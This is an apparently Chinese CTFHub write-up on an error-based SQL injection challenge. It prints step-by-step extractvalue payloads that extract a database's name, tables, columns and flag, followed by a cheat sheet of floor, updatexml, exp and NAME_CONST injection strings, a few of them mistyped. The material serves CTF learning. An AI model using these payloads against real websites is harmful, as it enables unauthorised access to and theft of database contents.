当前位置: 首页 > news >正文

CTFHub | 报错注入

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

报错注入:

        (无)

网页显示内容

        

        

0x02 解题过程

        因为报错注入的语句比较多,测试了几个语句发现 extractvalue 语句存在 SQL 报错注入漏洞,得到数据库名称 sqli 后,查询数据库表名,发现一个可疑表名 flag 。检查这个 flag 表中的列,发现一个列名为 flag ,查询数据发现此题 flag 。发现数据不完整,使用 mid 函数进行查询从字符 2 开始得到完整数据。

        

查询数据库名称

and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

        

查询当前数据库sqli的表名,发现有一个表名为flag比较可疑

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--+

        

查询当前表flag,发现有一个列为flag

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

         

查询flag列名中的数据发现此题flag,但是发现flag不完整

and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

        

使用mid函数跳过第一个字符c,提取剩下的全部字符

and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+

        

        

0x03 报错注入

注入语句解析:

查询数据库:and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

#extractvalue 注入语句,database() 数据库

查询表名:and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--+

#table 表,schema 元数据的一个抽象集合

查询列名:and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

查询数据:and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

提取字符:and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+

mid 函数使用方法:

参数描述
column_name必需。要提取字符的字段。
start必需。规定开始位置(起始值是 1)。
length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

payload:mid((select flag from flag),column_name,start,length

常用注入语句:

1.floor()报错注入

union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

2.extractvalue()报错注入

and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

3.updatexml()报错注入

and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.exp()报错注入

nion select (exp(~(select * FROM(SELECT USER())a))),2,3--+

5.NAME_CONST()

union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

        

        

0x04 参考文献

[1].郁离歌. SQL注入之报错注入的一些随笔[EB/OL]. [2022-10-28]. https://blog.csdn.net/like98k/article/details/79646512.

[2].Dar1in9. sql注入之报错注入[EB/OL]. [2022-10-28]. https://blog.csdn.net/silence1_/article/details/90812612.

[3].w3school. SQL MID() 函数[EB/OL]. [2022-10-28]. https://www.w3school.com.cn/sql/sql_func_mid.asp.

        

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

相关文章:

  • Python-代码封装思想
  • 基于MATLAB的指纹识别算法仿真实现
  • Spring Boot中异步消息JMS的讲解与通信实例
  • JeecgBoot 3.4.3-GA 版本发布,开源免费的企业级低代码平台
  • 代码随想录38——动态规划:动态规划理论基础、509斐波那契数列、70爬楼梯、746使用最小花费爬楼梯
  • 基于大数据平台的毕业设计01:基于Docker的HDP集群搭建
  • YOLOv5剪枝 | 模型剪枝理论篇 | 1/2
  • 结构体、枚举类型和联合体
  • 【兄弟反目成仇系列】:我只是写了一个爆炸信息窗口脚本,好兄弟追了我几条街~
  • 参加微软学生开发者峰会,了解Azure和GitHub……
  • 【数据结构练习题——查找】
  • imx6ull-arm开发板和电脑网线直连通信
  • 【目标检测】YOLOv5遇上知识蒸馏
  • 【每日渗透笔记】覆盖漏洞+修改隐藏数据实战尝试
  • 软件工程结构化设计
  • 【Leetcode】101. 对称二叉树
  • 9月CHINA-PUB-OPENDAY技术沙龙——IPHONE
  • JavaWeb(学习笔记二)
  • js ES6 求数组的交集,并集,还有差集
  • leetcode386. Lexicographical Numbers
  • Node项目之评分系统(二)- 数据库设计
  • Odoo domain写法及运用
  • oschina
  • python学习笔记-类对象的信息
  • SOFAMosn配置模型
  • uva 10370 Above Average
  • Vue 2.3、2.4 知识点小结
  • Vue UI框架库开发介绍
  • Vue 动态创建 component
  • 从@property说起(二)当我们写下@property (nonatomic, weak) id obj时,我们究竟写了什么...
  • 电商搜索引擎的架构设计和性能优化
  • 网页视频流m3u8/ts视频下载
  • 一个普通的 5 年iOS开发者的自我总结,以及5年开发经历和感想!
  • 职业生涯 一个六年开发经验的女程序员的心声。
  • LevelDB 入门 —— 全面了解 LevelDB 的功能特性
  • # Pytorch 中可以直接调用的Loss Functions总结:
  • (2)STM32单片机上位机
  • (35)远程识别(又称无人机识别)(二)
  • (html5)在移动端input输入搜索项后 输入法下面为什么不想百度那样出现前往? 而我的出现的是换行...
  • (Repost) Getting Genode with TrustZone on the i.MX
  • (二)linux使用docker容器运行mysql
  • (二)测试工具
  • (附源码)springboot金融新闻信息服务系统 毕业设计651450
  • (附源码)计算机毕业设计高校学生选课系统
  • (强烈推荐)移动端音视频从零到上手(上)
  • (十六)Flask之蓝图
  • (四)opengl函数加载和错误处理
  • (原)记一次CentOS7 磁盘空间大小异常的解决过程
  • (原創) 如何安裝Linux版本的Quartus II? (SOC) (Quartus II) (Linux) (RedHat) (VirtualBox)
  • (转)ORM
  • (转)德国人的记事本
  • (转)利用ant在Mac 下自动化打包签名Android程序
  • (转)详解PHP处理密码的几种方式
  • (转载)VS2010/MFC编程入门之三十四(菜单:VS2010菜单资源详解)
  • .helper勒索病毒的最新威胁:如何恢复您的数据?